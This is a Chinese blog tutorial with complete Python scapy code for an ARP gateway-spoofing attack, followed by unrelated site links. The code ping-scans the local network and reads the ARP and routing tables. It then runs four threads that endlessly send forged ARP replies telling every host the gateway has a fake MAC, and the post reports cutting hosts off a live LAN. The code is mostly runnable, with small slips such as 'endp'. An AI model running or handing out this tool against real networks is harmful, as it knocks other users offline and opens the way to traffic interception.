Python利用scapy实现ARP欺骗的方法


Posted in Python onJuly 23, 2019

一、实验原理。

本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。

二、运行结果。

<1>先查看网关,确保有网:

Python利用scapy实现ARP欺骗的方法

<2>因为socket需要sudo权限,所以以root权限跑起来:

Python利用scapy实现ARP欺骗的方法

<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:

Python利用scapy实现ARP欺骗的方法

网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!

三、实现代码。

代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。

如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。

Python利用scapy实现ARP欺骗的方法

<1>pingScanner.py

通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同样,调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通过使用正则截取os.popen('route -n')的返回值确定网关IP,把获取的网关IP与MAC当作元组返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考虑到ping扫描主机时遇到不存在的主机会等待过长的时间,使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程,所以这里写死了,是四个线程平分255个可能存在的主机。

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))

<5>atcThread.py

使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01:02:03:04:05:06”,源IP为获取的网关IP,目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代码的主程序,代码过程:

加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。

(四线程) (四线程)

因为主程序是死循环,所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环,这样就能无限发送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

以上这篇Python利用scapy实现ARP欺骗的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python中返回字典键的值的values()方法使用
May 22 Python
解密Python中的描述符(descriptor)
Jun 03 Python
剖析Python的Twisted框架的核心特性
May 25 Python
Python+selenium实现截图图片并保存截取的图片
Jan 05 Python
python打包压缩、读取指定目录下的指定类型文件
Apr 12 Python
在PyCharm中批量查找及替换的方法
Jan 20 Python
PyQt5的PyQtGraph实践系列3之实时数据更新绘制图形
May 13 Python
Django实现发送邮件找回密码功能
Aug 12 Python
python之yield和Generator深入解析
Sep 18 Python
python爬虫爬取笔趣网小说网站过程图解
Nov 18 Python
python统计mysql数据量变化并调用接口告警的示例代码
Sep 21 Python
Python 视频画质增强
Apr 28 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
Python3的高阶函数map,reduce,filter的示例详解
Jul 23 #Python
python实现socket+threading处理多连接的方法
Jul 23 #Python
You might like
php学习笔记 php中面向对象三大特性之一[封装性]的应用
2011/06/13 PHP
php/JS实现的生成随机密码(验证码)功能示例
2019/06/06 PHP
Eval and new funciton not the same thing
2012/12/27 Javascript
使用jquery读取html5 localstorage的值的方法
2013/01/04 Javascript
用JavaScript计算在UTF-8下存储字符串占用字节数
2013/08/08 Javascript
解决jquery中美元符号命名冲突问题
2014/01/08 Javascript
Node.js 服务器端应用开发框架 -- Hapi.js
2014/07/29 Javascript
location.hash保存页面状态的技巧
2016/04/28 Javascript
在windows上用nodejs搭建静态文件服务器的简单方法
2016/08/11 NodeJs
BootStrap下的弹出框加载select2框架失败的解决方法
2017/08/31 Javascript
vue-router中scrollBehavior的巧妙用法
2018/07/09 Javascript
基于jQuery ztree实现表格风格的树状结构
2018/08/31 jQuery
使用layui实现树形结构的方法
2019/09/20 Javascript
jquery 遍历hash操作示例【基于ajax交互】
2019/10/12 jQuery
JavaScript事件循环及宏任务微任务原理解析
2020/09/02 Javascript
如何使用 JavaScript 操作浏览器历史记录 API
2020/11/24 Javascript
[02:38]2018年度DOTA2最佳劣单位选手-完美盛典
2018/12/17 DOTA
Python制作数据导入导出工具
2015/07/31 Python
python实现单链表中删除倒数第K个节点的方法
2018/09/28 Python
python引入不同文件夹下的自定义模块方法
2018/10/27 Python
解决python tkinter界面卡死的问题
2019/07/17 Python
python 环境搭建 及python-3.4.4的下载和安装过程
2019/07/20 Python
在django中实现页面倒数几秒后自动跳转的例子
2019/08/16 Python
Spring Cloud Feign高级应用实例详解
2019/12/10 Python
Python3实现发送邮件和发送短信验证码功能
2020/01/07 Python
html5的canvas方法使用指南
2014/12/15 HTML / CSS
使用canvas生成含有微信头像的邀请海报没有微信头像问题
2019/10/29 HTML / CSS
英国现代家具和装饰网站:PN Home
2018/08/16 全球购物
宿舍使用违章电器检讨书
2014/01/12 职场文书
关于热爱祖国的演讲稿
2014/05/04 职场文书
环卫工人先进事迹材料
2014/06/02 职场文书
交通事故委托书范本精选
2014/10/04 职场文书
公司周年庆寄语
2019/06/21 职场文书
浅谈Python列表嵌套字典转化的问题
2021/04/07 Python
用position:sticky完美解决小程序吸顶问题的实现方法
2021/04/24 HTML / CSS
开发微信小程序之WXSS样式教程
2022/04/18 HTML / CSS